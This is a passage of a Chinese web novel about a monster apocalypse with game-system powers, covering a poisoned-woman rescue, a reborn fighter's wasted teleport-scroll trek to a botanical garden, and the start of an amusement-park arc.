江朗：“你——说——啥——我听不见——” 他吼得大声，扯得嗓子都有些痛了，还努力回想了一下课上学过的手语，试图比划给陆燃看他听不见这个意思。 不过他很快就意识到，他不需要这么费力啊，陆燃看见他张嘴但听不到他的声音肯定就立刻会意识到隔音问题了，他吼这么大声干嘛……除了让自己的嗓子受伤有什么用orz…… 下一秒，他看见陆燃直接扯了之前那张传送卷轴，又传送了出来。 江朗：“……不赖，短短一分钟我们已经浪费了四张传送卷轴了。” 陆燃耸了耸肩：“不然之前收那么多干嘛？” 然后他接着说：“你别直接填坐标，你试试拿笔涂改一下你最开始记录坐标的卷轴试试。” 江朗：“哦哦好……” 他摸了半天：“诶我笔呢？” 陆燃：“……” 他一边给江朗递笔一边冷冷地吐槽：“现在不浪费了吧，反正给你送笔也得出来一趟。” 江朗一边努力把头低到最低，一边心虚地打着哈哈：“哈哈，你说得对。” 他把传送卷轴上的坐标涂改了一下，然后扯开，一阵头晕目眩之后，他出现在了玻璃墙后，并且陆燃就在他身旁。 看他差不多晕完传送了，陆燃吐出一句：“看吧，救回来一张。” 江朗抬手比了个大拇指：“不愧是你。” 两个人看向躺在地上的年轻女人，近距离看，更能清晰地看出她的缺水程度。 陆燃从背包中掏出矿泉水拧开递到了她嘴边，她立刻凑了上来猛喝起了水，动作之急切，就像是刚横穿完沙漠，陆燃看了眼周围，立刻看到对面楼梯上的污染物尸体上的背包里的水瓶，还有附近散落的饮料，有些明悟，这些此前是游客的污染物身上真不缺能喝的东西，她却只能待在这边眼睁睁地看着一墙之隔的水源，这大概比完全没水更痛苦。 她猛喝完一整瓶水之后，陆燃从背包里翻出了一瓶之前从医院里拿的葡萄糖，她应该是从末世刚来就饿到现在，暂时不适合吃任何固体食物。 第37章 第 37 章 植物园后记 水。 是水。 林梦几乎迫切地凑上了那瓶水, 她身体里剩余的力气似乎全在这一刻爆发了出来，感受着冰凉的水流经自己火燎一般的食道，林梦感觉自己终于活过来了。 救她的人接下来好像又给了她一袋水, 她看不太清具体是什么，但喝进嘴里之后她就知道那是什么了, 是葡萄糖水。 林梦感受着糖分渗入自己的身体, 感觉自己活过来了。 活过来了的意思她终于能感受到她现在有多难受了。 胃里重新有了东西之后，她才发现自己有多饿，整个胃部都烧得不行，有种火烧火燎直冲胸口的感觉, 让她只想整个人蜷缩起来。 她艰难地控制住自己想要再问这两个救命恩人要一点食物的欲.望, 用沙哑的嗓音挤出一句：“谢谢……” “没必要道谢, 你现在很虚弱, 尽量不要说话比较好。” 江朗说完，又从背包里拿出几包葡萄糖和能口服的营养剂放在她伸手就能拿到的位置： “你现在不适合吃任何食物, 我们先给你留一些能喝的食物, 然后在玻璃门另一头留一些食物，等这边毒散得差不多了的时候, 你应该也差不多恢复到能吃正常食物的程度了, 再出去拿食物，你觉得可以吗？” 林梦连连点头, 然后发现点头有点晕又停了下来：“可以的, 没问题, 谢谢你们……辛苦了。” 她现在不光想忏悔自己刚刚居然没有相信这两位的实力, 更想忏悔她一开始居然以为他们是打算连她一块攻击。 现在大脑重新得到了糖分供应，她的各种无端的恐惧也终于消散，现在想来, 那时候银色丝线牵到了她身上，大概只是波及到了她吧，甚至……有可能这是对方在确认哪里还有人活着，能更方便地避开她攻击，也许这也解释了最后那个黑圈为什么离她那么近但却刚好将她排除在了圈外。 这样想着，她简直要被感激与愧疚淹没了，虽然救命恩人说她现在不要说话，但还是忍不住再一次进行了道谢。 陆燃瞥了眼江朗，眼中的意思很明显——你看你讲话态度太好了吧，伤员都不听你的“医嘱”。 江朗也瞅了回来——那你说，你说他们肯定听话。 陆燃收回了目光，就当作什么都没发生过。 幸好林梦看不见也看不懂他们俩的眼神交流。 陆燃看了眼自己身上挂的中毒debuff的变化，大致估算了一下毒消散的时间，给地上又添了点东西，就和江朗一起传送了出去。 两个人从栈道楼梯上走了下去，虽然跳下去也行，但是毕竟已经习惯了走路，还是走走吧。 出了这个展馆后，动植物园里已经大变了样，这棵污染物死了之后，外面那些原本生机勃勃的绿芽也陷入了枯死状态，原本鲜绿到有些诡异的景象现在已经变成了枯树一片。 倒是不用担心需要满C市去找剩余的绿芽这种麻烦而绝望的事了。 两人开上停在外面的车，离开了动植物园. “呵呵，C市，也不过如此嘛。” 张镇一边走，一边打了个响指，他眼前大约一个10平方米的范围内的污染物就全都如同被肉眼不可见的细线切割了一般，化为了碎片。 只剩下一地的鲜血与肉块。 “还以为C市有多难搞，被C市那帮人吹得神乎其神的，呵呵。” 他满脸不屑地说。 他本来就不爽C市那帮人各种夸大自己在C市的时候有多么危险，说白了末世里，谁不危险？那些死了的异能者明明就是自己太菜，他现在不也来C市了吗？怎么觉得也没什么难度呢？ 把附近的污染物清了个干净之后，他使用了《神域》游戏系统自带的“收集”技能。 别说，虽然他从来看不起游戏玩家，这些玩家早期凭借系统占尽优势，但就是因为太轻松，所以基本没攒下什么战斗经验，而且心理上也总是觉得自己高人一等，不光高普通人一等，还觉得自己高其他异能者一等，毕竟末世初期大部分异能者的异能都还没升级，而且功能很单一，对比游戏系统来说显得比较弱。 但是等到了后期，他们就老实了，异能者可以不断升级自己的异能，而且无上限，比他们这些游戏等级和技能早已固定的玩家不知道强到哪里去了。 到了他重生前那段时间，末世中的强者名单里，纯玩家的占比已经接近为零。 那些同时拥有游戏系统和异能的玩家也不得不强行改正自己对游戏技能的依赖，更多地去锻炼自己对异能的掌握。 但是别说，这游戏的收集技能真好用，速度快范围广，收集晶体的效率己高，他的异能本来就能让他一次性大范围地进行攻击，这收集技能又能让他一次性拿到自己的战利品，节省了他大量搜刮晶体的时间。 更重要的是，这技能让他不用自己动手在尸体里翻来翻去了。 虽然他喜欢血液的味道，但是肉的触感他就不喜欢了，手上沾血是帅，手上沾满肉沫肉块就是恶心，上一世他最烦的就是那种又大又没头的污染物，因为杀完之后得找半天它的晶体长在哪，经常搞得他一身糟污。 而现在，他总算可以省去这麻烦的一步了。 怪不得那些游戏玩家们总是带有一种末世前人类才会有的“洁癖”，对过于惨烈恶心的死亡现场都会有下意识的回避——真是娇生惯养的一群人啊。 他用完收集技能，所有晶体都自动被存入了他的游戏背包中，而且还有自动分类，所有的一级晶体放在一格，少数的二级晶体放在另一格。 如果说C市有哪一点描述是完全符合C市出来的那群爱夸大其词的异能者的说法的话，那就是这里真的很适合升级异能。 污染物的密度太大了，他跨入C市还不到两小时，收集的晶体就已经持平之前的总和了。 如果他上一世刷在C市，估计就和老大一样，非常前期就能把异能升级到六级了。 不过呵呵，末世前他可不配和那些高人一等的高等人存在于同一个城市。 说到老大，他本来想攒一些晶体带给老大，但是这背包怎么这么小，一点都不像那些游戏玩家吹出来的那么好用，随便装了点东西就满了。 他只能把一级晶体全部用掉，只剩下二级和三级晶体在背包里。 不过这样也好，一级晶体他都不好意思给老大上供。 他再次打了个响指，面前的污染物们不管原本在做什么，全都轰然倒下。 接下来……嗯，要去C市的市动植物园。 据老大所说，C市前期的最强污染物就出现在市动植物园。 那里觉醒了一棵毒系的植物污染物，它的特殊能力使得它以一种夸张的速度在末世刚来没多久的时候就达到了五级。 在它的阴影笼罩之下，C市的异能者压根没享受到其他地区异能者的爽快感，唯一能做的就是以最快的速度逃离这个恐怖的地方。 老大说这就是C市的异能者对末世深恶痛绝的理由，他们从一开始就没感受到自己的异能能带来多大的好处，毕竟他们看到的是——不管一个人有没有觉醒异能，在这株毒系污染物的领域范围内都只有一个死字，他们必须想尽办法才能挣扎着活下来。 尤其是那些本身觉醒了强势异能但幸存的亲近之人却没有的人。 他们面对其他污染物或许还有保护想要保护之人的能力，面对这株毒系污染物，却只能看着亲近之人在一息之间死去，而自己却连敌人在哪都不知道。 还有几个人哪怕成功逃离，却也留下了永久的损伤，自然对末世深恶痛绝。 因此，从C市出来的异能者几乎全都投向了研究所，想尽一切办法想要结束这个美妙的末世。 当然，除了老大，因为老大就是最强的，就连这株所谓的C市污染物也无法给他造成一点伤害，他也不需要逃。 最后，老大收下了这棵污染物吸取了全C市污染物而形成的六级晶体，并且留了它一命，让它继续在C市生长着，收割从海边上岸的污染物和所有路过的异能者，老大则定期过来收一下晶体。 老大后来提起这件事的时候，他大赞老大英明神武智谋无双，找到了一个简单有效的升级异能的好法子。 老大却摇了摇头，说如果再来一次，在以最快速度强化自己的异能和给永乐多添几个好帮手并削减研究所的死忠拥趸之间，他会毫不犹豫地选择后者。 张镇虽然觉得这很不划算，但是老大比他聪明多了，老大总是对的。 他只要听老大的指挥就行。 呵呵，这些C市的废物这次走狗运了，有他来救他们于水火之中。 虽然一想到要收一群废物进组织他就很不满，但他搞定这大功一件，老大绝对会很满意的，这一次，他一定要在老大面前胜那个谁一头。 明明是那么烂的异能，却被老大如此倚重，简直不公平。 而且上一世老大总是批评他没什么脑子，等自己以先老大不知道多少步搞定他未来才会生出的想法与计划之后，老大肯定就不会这么觉得了。 很不错。 他越想越兴奋，一想到老大以赞赏的语气夸奖他自主制定的行动，他就忍不住挺起了胸膛。 “市动植物园……市动植物园……找到了。” 他站在报刊亭边，盯着C市地图找了半天后，眼中闪出了兴奋的光。 离他现在这个位置还挺远的。 他左右看了眼，找了辆车，还是开车去吧。 不过到了之后也要先做点准备，而不是直接就能进攻。 这株毒系污染物，很麻烦很难处理，现在它应该还没到五级，但是它的毒也应该已经会对他造成非常显著的伤害了。 更何况它除了致命的毒素以外还有许多别的麻烦能力，幸好这棵树的所有特点老大都跟他一一说过，他完全可以早做防备。 比如，虽然这株毒系污染物每时每刻都在散发着的毒素就已经可以称之为剧毒了，但这种毒素，一个像他这样的高级异能者还是能扛得住一段时间的——大概十分钟左右吧。 但是这其实是因为这株毒系污染物并不把他们当做对手，一旦它真正感受到了威胁，它的攻击也会变得更加主动且激进。 它可以将原本会在一段时间内缓慢释放出去的毒素极限压缩，将一个原本能抗住十来分钟中毒状态的高级异能者毙命于瞬间。 更麻烦的是，据老大所说，这株毒系污染物不光杀伤力极高，保命能力也是一等一的。 和大部分没长腿所以只能原地不动的植物污染物不同，如果它感到自己非常危险，就可以将晶体通过根系转移到随机一个分.身中，将这个分.身作为新的主体。 而它的分身非常多，据说C市后期一片绿色，每隔一条街都能看见一株它的分身，那么除非将整个C市一次性炮轰完，否则光是找它去了哪就是个大问题。 但能一次性大面积炮轰整个C市的异能，和能将它的本体毙命于一瞬间，让它压根来不及逃跑的异能相比，哪个更罕见还真不好说。 不过，即使有如此种种不易，他还是早就想好了要怎么解决这棵C市最强污染物。 呵呵，他有逃课打法。 这是他在之前那度日如年的三个多月里想到的。 他在玩《神域》这个游戏的时候，发现游戏果然就是游戏，有许多出现在现实中能力会非常bug的道具。 其中有一样叫作“传送卷轴”。 能力非常逆天，只要在一个位置纪录坐标，之后就只用使用这张卷轴就能回到该坐标点。 他看见这个卷轴之后立刻想到了自己异能的缺陷，这个道具完全可以弥补他不会瞬移的遗憾啊！！ 这个卷轴很贵，一张要卖到一百块，他斥巨资买了刚好99张堆在一个格子里。 贵，太贵了。 幸好他买最后十张的时候直接逃单了，算是省了点钱，虽然他还是肉疼，如果不是知道《神域》里的道具可以带到末世里使用，他才不会跟个脑残一样给个虚拟道具花钱，还是这么贵的道具。 但是，贵有贵的价值。 有了这些传送卷轴，他就可以在安全区先留一个传送点，然后抗毒进入到那株毒系污染物的大本营，期间但凡扛不住毒了，就直接记录坐标然后传送回来，然后等他到了那株污染物面前，就再直接传送回安全点，因为只要他到过那，就可以用他的异能在远处进行攻击，虽然他不喜欢这种攻击方式，但是在面对这种程度的强敌时，他倒也没什么选择。 那么剩下的唯一一个问题就是他能不能瞬秒那株污染物了。 因为如果做不到做不到瞬秒，他之后就得满C市去找它传送到哪个分.身上去了。 好在，攻击是他绝对有信心的领域。 以他现在吞噬晶体的速度，再给他两天时间，他有把握可以在两招内秒杀它。 之所以不花更久来升级自己的异能，是因为不管他吸收晶体的速度有多快，肯定也没有那株有特殊传播方式的污染物吸收晶体的速度快。 两天，只有两天，必须搏一搏了。 如果真的差一点，他就先把准备上供给老大的二级和三级晶体都吸收了，晚点再去找给老大上供的晶体。 至于现在，先找到那株污染物，然后记录好坐标…… 他一边开车一边攻击视野范围内的所有活物，这样一路前行，他的视野中终于出现了C市的市动植物园的路标。 甚至以他现在的视力，在高速上就已经可以远远地看见那占地面积巨大的动植物园了。 原本鲜艳而巨大的牌子现在已经只剩下最后一个“园”字还立在大门上，其他的全都不知道去哪了。 差不多该留传送卷轴了。 因为他的游戏系统内已经出现了轻微的中毒效果，虽然掉血速度非常慢，3秒才掉一滴血，但是这的确意味着他快进入该污染物的领域了。 他掏出一张传送卷轴，然后记录下这个地点的坐标。 其实他应该多记录几张的，这里距离动植物园很有一段距离，十分钟肯定赶不到，至少也需要两张卷轴。 但是他光是用一张都觉得心在滴血，这可是一百块一张的道具……算了算了，等回来了再用第二张，精打细算是正确的。 在传送卷轴上记录好坐标后，他将油门踩到底，开始朝动植物园疾驰而去。 开了十几分钟后，他肉疼地又用掉一张传送卷轴记录坐标，并喝下一瓶游戏内的红药后传送回了安全地点，然后往后又退了一段距离，再一次记录了此地的坐标。 等血量回上来，他就扯开第二张传送卷轴，回到第一次前进的位置，开上刚刚那辆车继续往前。 又这么重复了一次之后，他第三次开车时终于在六分钟内就开到了动植物园的大门口。 终于！不用再扯卷轴了！ 短短这么点时间里，他已经用掉了多少张传送卷轴了啊？！肉疼死他了。 这还是他油门踩到底的结果。 如果不是这个任务真的能让他在老大面前一跃成为最红的手下，他才舍不得这么下血本好吗？ 为了节省时间，他直接开着车撞进了动植物园里。 他看了眼自己系统血条上的掉血速度。 颇有些不屑。 哼，C市最强污染物，也不过如此嘛。 他四处看去，地上的各种污染物身体上都长着枯枝——这应该就是那污染物的分身了吧。 先不急着解决它们，反正就算杀了也会再冒出来。 他开着车在植物园里转了半天，急得想死——树呢？树呢？这破树呢？再找不到他就又得传送回去一趟了，他不想再浪费一张传送卷轴啊！ 冷静，冷静点……他对自己说到，老大说过，这是一株卖点是毒和高大的树，所以它的场馆肯定特别高，看看有没有突出地高的场馆……！ 他烦躁的脸上闪过一丝惊喜。 他看到了！ 他立刻将油门踩到底，一路撞飞了不知道多少个垃圾桶之类的玩意儿朝目标场馆飞了过去。 他跳下车，拉开那展馆的大门，打算以最迅捷的速度记住这个空间里的所有细节——他这异能很强但也很麻烦，他必须记住这空间内的所有细节才能使用，稍微也可以漏记一点，但不能多，偏差太大就用不了了。 但是他刚要开始记忆，却发现这展馆缺了最重要的一样东西—— 不是，树呢？ 他迷茫地看着这空荡荡的场馆。 有没有搞错？展馆建这么高这么大结果里面就一片草皮和一些小树？那他紧赶慢赶地赶过来是做什么！ 他有种自己被植物园诈骗了的感觉。 他看了眼时间和血条，他妈的，被诈骗这一波他还得再重来一次。 又是一张卷轴啊！ 这植物园的管理员最好已经死透了，不然他真得把他找出来让他感受一下什么叫求生不得求死不能。 他愤怒地撕开早就备好的卷轴，回到了安全区。 一阵天旋地转后，他回到了高速路上，猛猛地深呼吸了一口新鲜空气后，他一拳锤在旁边一辆车的车窗上。 “草！有病吧！” 他再一次深呼吸，决定这一次自己不能再冒进了，到了地方之后，先找找有没有路标，或者有没有游客中心，先找到这动植物园的地图……再做行动！ 果然还是得稍微动点脑子，不能光横冲直撞。 他这么想着，看见自己的血量终于恢复了正常，肉疼地撕开刚刚记录的那张传送卷轴，回到了动植物园内。 一回来就是这又高又空的莫名其妙的破展馆，他觉得自己多看一眼这玩意儿都会被气出高血压，直接扭头就走。 出了这展馆之后，他也不开车了，开始聚精会神地寻找游客中心，或者路标。 然后他找到了一个标着游客中心方向的路标。 他瞬间松了口气，以最快速度跑到了游客中心，从窗户跳进去，踢开一堆莫名其妙堵在窗口的尸体，然后翻箱倒柜地一通搜寻。 终于！ 地图！ 找到了！ 他快速地在地图上找到了“见血封喉树”的展馆，还好还好，看上去距离不算太远。 他看了眼时间，还有六分钟！ 他能到的！ 他对着地图一顿狂奔。 到了！ 他抬起头，然后满脸迷茫地看着这个略显熟悉的地方。 张镇：“……” 不是？？ 他怎么又回来了？？ 这不是刚刚差点给他气出脑溢血的展馆吗？ 他低头又看了眼地图，又抬起头朝四周望了眼，确认自己没走错路。 他咬了咬牙，重新朝那熟悉的门走了过去，也许只是这个植物园有两个完全一样的展馆呢…… 推开大门后，他的最后一丝希望也破灭了。 毛线啊！ 这不就是他刚刚来的地方吗？！ 他简直要怒火冲天了，这地图是不是也在逗他玩！ 马上就十分钟了！他又又又又要传回去一次！ 他下意识看了眼血条，然后发现了不对。 上次十分钟过去的时候，他的血条已经降到大概只有几百点血的地步了，但是现在，他还有一千多血。 他又看了眼时间，没错啊，确实和上次时间没差别。 他突然福至心灵般抬起头认认真真扫视了一圈，然后他看见了，展馆上方的玻璃穹顶上，破了一个小洞。 他的目光从上方移到下方。 看见了一堆黑灰。 然后移到自己的血条上，血条掉血的速度还在减慢。 “草！” 他突然明悟了。 他刚刚压根没走错地方！这里就是那株见血封喉树的所在地啊！ 只是不知道为什么，这棵污染物已经被人连根拔了。 是谁？！！让他白跑一趟！ 他愤怒之下，异能有些暴走，周围的空间出现了一道道裂痕。 到底是谁？！ 等等，难道说……老大也重生了？ 不然他想不到还有谁会有这个动机和能力——最重要的是能力——在他之前解决这个污染物。 如果真是老大重生了的话……他想借着重生的优势在老大面前刷存在感的计划就破灭了…… 不过如果老大真的重生了，那么在老大的带领下，他们的组织这一次一定会走得更稳更远！ 只是也不知道老大原本住在C市哪个位置……或者说就算知道也没用，这么久过去了，老大估计已经早就已经在C市里杀疯了。 他还是一边升级一边看看能不能撞上老大吧。 就是可惜了他浪费的这一堆传送卷轴……他看着游戏背包里那一格下降的数字，感觉自己的心在滴血…… 而且更悲伤的是，现在虽然空气中的毒素正在减弱，估计要不了24小时，这片区域的空气就会彻底恢复正常，但现在它的有毒程度还是没法让他靠双腿或者四轮走出有毒区域。 他肉疼地扯开传送卷轴，安慰着自己坐标都已经标了……以后反正估计也不会再来C市了，用上它的机会微乎其微，从箭毒木的展馆彻底离开了。 第38章 第 38 章 绝望游乐场（一）…… 现在, 让我们稍稍将时间往前调个70小时。 七十小时前，也就是大约三天前的正午十二点。 钟声刚刚响彻整座主题乐园，异变就发生了。 游乐场中心那座刚申请了吉尼斯世界纪录的过山车上的尖叫无缝地变成了怪物的吼声。 摩天轮因为失去了电力供应猛地停在了空中, 吊着的小箱子们猛地前后摇晃了一下，那些有幸没变成怪物的人被晃得差点吐出来, 但随后他们就来不及管想吐的事了。 当然, 他们也没工夫想着要去投诉摩天轮的故障问题了，因为同个吊舱里，坐在对面的人一瞬间就变成了诡异的怪物，他们只能崩溃地尖叫, 摸索着任何能摸到的可以作为武器的东西攻击对方, 或是转头就猛敲着吊舱的门, 好像这样就能把门敲开一样。 直到他们的脑海中快速地闪过一个念头——就算真敲开了又能怎样呢？从几十米的高空跳下去吗？要是他们真有这个勇气的话……或许也会有转头回去和怪物赤手空拳搏斗的勇气了吧…… 摩天轮上, 唯一一个够幸运坐了单人包厢还幸存下来了的人，是一个闷闷不乐的小伙, 他是和女朋友一起来游乐场玩的, 只是玩到一半就吵了起来。 其实只是一些鸡毛蒜皮的小事，无非就是他觉得游乐场十块一根的油条太贵, 女友则觉得出来玩还要算钱玩得太不痛快, 更何况这游乐场里什么不贵，什么都不买的话, 那饿一天好了。 真就屁大点事, 但两人就是吵了起来, 而且谁都不肯先低头, 于是摩天轮排队排到一半，女友愤然离去，他也梗着脑袋不肯追, 愣是一个人上了吊舱，愤愤不平地抱着双臂被摇上了天。 “小婧——小婧——” 在摩天轮突然地停下后，他探头探脑地朝玻璃外看了一眼，就惊恐地看见了下面密密麻麻的怪物。 他立刻想到了留在地面上的女友，开始奋力锤起了门。 他扒着吊舱的门又推又锤，但是众所周知，摩天轮的吊舱门是无法从内部打开的，而且为了防止断电之类的意外事故，从来都是纯机械结构，就算他再怎么努力，试图从内部开门都是徒劳。 他推了推差点从他鼻子上掉下来的眼镜。 厚厚的镜片，汗流不止的脸庞，让他看起来整个人非常潦草，更难受的是他的头开始发晕，他觉得自己好像发了高烧，眼前的景象都开始模糊。 他再次看向地面，他没意识到自己的视觉现在有多么不对劲，他的眼镜歪歪扭扭地挂在鼻子上，而且他的镜片度数原本就偏低，所以在距离地面这么高的位置，他看地上的东西本应是模糊一片才对，但是他现在想的却是——“这发烧来得真不是时候！地上的人怎么全都扭曲了！我看不见小婧了！” 他没注意到，自己现在的视力有了堪称恐怖的进化，他只是出于惯性才努力一直在扶眼镜，其实那副眼镜给他带来的只有更头晕的效果而已。 他同样没注意到的是，他的身后长出了一条长长的，厚重的尾巴。 不是猫猫狗狗那种毛茸茸的细长条的尾巴，而是类似于蜥蜴的那种。 就像他也没注意到自己的双手手指中间已经长出了蹼。 他只是昏昏沉沉地不停地用身体撞着吊舱的门，然后—— 门被撞开了。 “啊啊啊啊啊啊！” 他似乎自己也没想到，他真能把这吊舱的门撞开，猛地收不住惯性冲出去的那一瞬间，发出了极其尖锐的喊声。 但是，他并没有像想象中那样直接从几十米的高处落下后摔成肉饼。 他“啊啊啊啊啊”了十几秒之后才突然反应过来，他好像……悬停在了半空中？ 他昏昏沉沉的脑袋过了好久才反应过来，是的，他现在是倒挂在半空中。 他努力地探头去看到底是什么把他挂在吊舱上了，是他的裤子吗？还是说别的什么东西？ 他努力地探着头，丝毫没有注意到鼻梁上的眼镜早已经掉到不知道哪里去了。 他看啊……看啊…… 然后他看到了—— 一条尾巴。 一条壁虎一样的，从他身上长出来的，缠绕在吊舱栏杆上的尾巴。 “啊啊啊啊啊啊——啊啊啊啊啊啊——” “啊啊啊啊啊啊啊——” 他发出了比刚刚更大声的尖叫声，脑海中只有一个轰然作响的念头。 ——他变成怪物了。 其实没有，如果有人能告诉他的话，他只是异化方向是昆虫化而已。 他下意识地收起了那条属于他的尾巴，然后他现在是真的在下坠了，但他的反射神经现在已经彻底压制了他本人的神经，所以往下掉了还没几米，他的尾巴再次卷上了最近的钢筋架，而他的身体也不知道为什么那么轻盈，眨眼间，他已经双手双脚匍匐着趴在钢筋架上了。 “呼……呼……” 他喘了两口气，向下看去，被过高的高度吓得直接闭上了眼睛，但是，但是就这么一眼他还是看清楚了下方的乱象。 “小婧……小婧……” 他默念着女友的名字，决心要克服一切困难去救她。 这一切都是他的错，如果不是他为了一根十块钱的油条跟小婧吵架，他们两个人本该一起坐上摩天轮的，虽然也不知道之后该怎么办，但至少不会让小婧像现在这样被那么多那么多的怪物重重包围。 一想到这一切的起因只是十块钱，他就想掐死自己。 他努力地挪动着自己的新手脚，慢慢地，慢慢地在摩天轮的钢筋上慢慢挪动着。 “小婧……我来了……等我……！” 然后一道黑光闪过，他在半空中静止了一会儿，然后就像是一个模型一样，手脚和钢筋缓慢地脱离，然后他的尸体维持着大睁双眼的姿态从空中落了下去。 不知道砸中了多少怪物。 “我草什么怪物，丑死了。” 一个秘术师打扮的看起来初中生年纪的半大孩子嫌弃地嘟哝了一声。 很明显，刚刚发出那道黑光的，就是这个初中生，他手里一闪，把铁棒收回了背包，这是他刚刚拿来打破吊舱的工具，别说，这摩天轮的吊舱真结实，他试了好几次才破门而出。 结果刚出来就看见个蜥蜴人一样的玩意儿在往他这个方向爬。 什么玩意儿吓他一跳！ 他顺手就把这个怪物消灭了，就跟他刚刚灭了他对面的变成了怪物的游客一样。 他看向下方，眼中闪过一丝兴奋。 这就是他期待的生活中的变化！ 他真是受够了每天都是上学上学上学的狗屎生活了，见鬼的他甚至连今天来游乐园玩都完全高兴不起来，因为这就是一天放风而已啊有什么好高兴的？ 从放假到昨天是集训式数学补课，每天从早上八点开始到晚上八点，他能看见的除了数学还是数学，而这都是因为他上学期期末考试数学没及格——他就是不会啊他就是做不出来还要他怎样？？又不是他上课没听！ 好不容易结束了十几天的集训，他今天被放出来放风一天，但明天开始到八月二十号开学为止，又要集训式补课英语。 人为什么要学英语？？ 那个鬼知道哪里来的补课老师把他们的“教学理念”吹得天花乱坠，说他现在英语成绩差就是因为平时还能接触得到中文，他没有足够的“危机感”去学习另一门语言。 但是没关系，只要参加他们的集训，他们保证他接下来的时间里，一个中文字都看不见，哪怕他再抗拒，他也不得不去学习英语这门语言。 他一想到接下来的日子就心如死灰。 刚刚坐着摩天轮的吊舱转到最高处的时候，他简直想就从这跳下去算了，总比面对之后的悲惨日子强。 还好他没有冲动。 新的生活已经来临了！ 以后不会再有无聊的上课！作业！ 他不用回学校听每个老师一再强调“你们还没到拼天赋的程度，学不好就是你们还不够努力”，不用再被那种“怎么能有这么蠢的学生”的眼神看着。 希望那个补课老师现在已经去见鬼了。 他兴奋地向下跳去——当然不是找死，《神域》这游戏就和大多数网游一样有高空降落补偿的，他刺激地在下方的吊舱顶上补了一段二段跳，然后果然卸掉了向下坠落的力，他顺便往那吊舱里丢了个技能，送里头两只正在搏斗的怪物归西了。 哼，死在他手上，也算它们的荣幸了。 他如法炮制地向下一截一截跳去，很快就到了离地面最近的一个吊舱上。 他厌恶地看着地面上拥挤又血肉模糊的怪物们。 直接一个大招清出了一片空地。 他满意地降落在地，然后不停地念着咒语，享受着凡他经过的地方怪物们就会如同潮水一般倒下的景象。 他听见有人呼救的声音，是女孩子的声音，他瞬间兴奋了起来——嘿嘿，轮到他英雄救美了！ 他成绩差又体育差，在他们学校女生的眼里，他就跟空气差不多，但是这种情况从现在开始就要改变了！ 第39章 第 39 章 绝望游乐场（二）…… 发现有自己大展身手英雄救美的机会后, 林霖也不慢慢踱步了，直接快速赶到了那呼救声传来的位置。 果然看见一个被吓得梨花带雨楚楚可怜的漂亮姑娘正瑟瑟发抖地缩在自动贩卖机上方——也不知道她是怎么爬上这光溜溜的自动贩卖机的，大概是生死危机之时爆发出的攀爬本能吧。 而她下方, 自动贩卖机周围围了一圈又一圈的怪物，它们的行动迟缓但不妨碍攻击性极强, 虽然它们暂时还没找到爬上来的办法, 但是光这一下又一下的重重撞击，就足够让这个女生花容失色地紧紧抓住贩卖机边缘了——生怕被撞得掉下去。 除此以外，能对她造成威胁的还有许多变异的原本就拥有飞行能力的昆虫——不过这些昆虫，大半直接被怪物群中一个变异方向是青蛙化的污染物长舌头一伸, 直接卷进了肚子里。 这只青蛙——还是癞蛤蟆？林霖作为一个城市里长大的小孩, 完全不懂青蛙和□□有什么区别, 但是他决定叫它癞蛤蟆, 因为它此时此刻正奋力一跃，直接跳上了天花板, 长长的舌头从口中垂下来, 正朝着女孩的方向一探一探地准备攻击。 它的两只眼睛异化得滚圆而突出，甚至可以看见眼睛晶体中流动着的液质, 再加上那垂涎猎物的神色, 原本就显得有些可怖的两只铜铃般的青蛙眼睛就显得更恶心又恐怖了。 于是原本就已经陷入绝望之中的女生更是发出了绝望的大喊。 林霖嫌恶地看了眼这癞蛤蟆，这玩意儿长得……让人想吐。 不是, 这末日也太突破审美下线了, 就不能普普通通搞个丧尸群吗？非要整这些有的没的, 这个□□人比刚刚他在摩天轮上见到的那个蜥蜴人还要丑得多。 他恶心得够呛, 直接大手一挥，召唤出咒语书，握着手中的魔杖开始吟唱。 几秒后, 黑色的光圈从上至下吞噬了以那个□□人为圆心附近的所有怪物。 甚至差一点把那个美貌小姐姐也吞噬了。 林霖一瞬间有点尴尬，完了，游戏里释放技能之前会有技能范围的预显示，现实里可没有，之前反正到处都是敌人，往前轰就是了，导致他刚刚都忘了要注意一下攻击范围别把活人也包括进去了。 他假装自己没有失误，轻咳了两声，装模作样地摆出了他想象中的酷酷姿势： “美丽的女士你好，刚刚被吓到了吧，没事了，有我挡在你的面前，你不会再受到伤害了。” 自动贩卖机上的女生惊魂未定地看着地上倒了一片片的怪物尸体，然后看了眼救了她的这个婴儿肥还未褪的孩子——应该是初中生？还是小学生？看不太出来，现在的小学生长得比较着急，看上去年纪比较大一点也很正常。 她非常感激地对着这个孩子说了句“谢谢”，然后艰难地从自动售货机上爬了下来。 林霖绅士地伸手扶了她一下，免去了她踩着高跟鞋直接落地的悲剧。 “美丽的女士，你愿意和我一起踏上接下来的旅途吗？” 林霖自认为优雅绅士地发出了邀请，并且把手搭上了“美丽女士”的腰。 美丽女士：“……” 她一时间有点不知道该作何反应，甚至连条件反射的恶心都没有，因为这个看着介于小学生和初中生的小孩哥真的只比她腰高一点而已，他试图“扶着”她的腰，但实际效果更类似于他在努力地抬高手，手臂基本是和肩关节持平的状态，这样才勉强搭上了她的腰。 她尴尬地笑了笑：“真的谢谢你救了我，我们先看看外面什么情况，会不会有官方救援好吗？小弟弟你也不要想得太悲观，可能只是……可能只是这个游乐场出了什么意外，爆发了什么病毒之类的，也许……也许其他地方还是正常的。” 她越说脸色越惨白，越说语气越飘忽，似乎想要努力让自己相信自己的话——可能真的只是这个游乐场出了问题。 游乐场外，一定是正常的吧……爸爸妈妈，还有她的朋友们，一定不会像她这么倒霉的对吗……不可能全世界都混乱了的对吧！ 小孩哥闻言却只是撇了撇嘴，他才不希望这里只是个例，如果是那样的话，他岂不是做完英雄还得回去上学？ 他才不要……不过仔细想想的话，当了英雄之后没人可以炫耀的话好像是有点寂寞。 那好像也不是不可以接受……等他凯旋回到学校，同学们和老师们一定会发出阵阵惊呼吧！ “嗯？好像有人在呼救？” 自动贩卖机小姐突然竖起了耳朵说道。 林霖其实早就听见了，他加载了游戏系统之后，感觉自己的视觉和听觉都灵敏了很多，刚刚他就是隔着老远还隔着一大堆怪物的乱喊乱叫听见了这位美丽女士的呼救。 这次这个呼救距离甚至更近，他早就听见了，只是那一听就是个中年老男人的声音，他才懒得费这个事去救人。 “是的，我好像也听到了。” “你不去救人吗？” 但是美丽女士随即恳切地看向了他。 他瞬间觉得有种责任感和使命感涌上心头。 “救！当然要救人！我刚刚只是在听求救声在哪个方位。” “原来如此……”自动贩卖机小姐松了口气，主动向他指出了自己听见的方向：“应该是在这边吧。” 